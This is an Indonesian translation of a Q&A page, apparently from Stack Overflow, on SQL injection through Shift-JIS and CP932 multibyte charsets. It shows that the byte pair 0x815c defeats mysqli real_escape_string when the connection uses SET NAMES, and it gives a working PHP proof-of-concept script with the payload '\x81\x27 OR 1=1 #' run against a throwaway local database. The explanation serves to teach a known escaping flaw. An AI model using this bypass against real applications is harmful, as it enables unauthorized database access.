Mysql
 sql >> Teknologi Basis Data >  >> RDS >> Mysql

Bagaimana cara membuat serangan injeksi SQL dengan Shift-JIS dan CP932?

Setan ada dalam detailnya ... mari kita mulai dengan cara menjawab pertanyaan menjelaskan daftar kumpulan karakter yang rentan:

Ini memberi kita beberapa konteks - 0xbf5c digunakan sebagai contoh untuk gbk , bukan sebagai karakter universal yang digunakan untuk semua 5 set karakter.
Kebetulan urutan byte yang sama juga merupakan karakter yang valid di bawah big5 dan gb2312 .

Pada titik ini, pertanyaan Anda menjadi semudah ini:

Agar adil, sebagian besar pencarian google yang saya coba untuk set karakter ini tidak memberikan hasil yang bermanfaat. Tapi saya menemukan file CP932.TXT ini , di mana jika Anda mencari '5c ' (dengan spasi di sana), Anda akan melompat ke baris ini:

Dan kami memiliki pemenang! :)

Beberapa dokumen Oracle mengonfirmasi bahwa 0x815c adalah karakter yang sama untuk keduanya cp932 dan sjis dan PHP juga mengenalinya:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Berikut skrip PoC untuk serangan tersebut:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Kurangi beberapa tanggal dan waktu dari tanggal dan waktu saat ini untuk menemukan usia di PHP

  2. Masukkan tanggal saat ini dalam format datetime mySQL

  3. php tidak menyimpan data ke mysql

  4. Bagaimana cara memilih jumlah baris terbatas untuk setiap kunci asing?

  5. Mengapa INNER JOIN tidak sama (!=) hang selamanya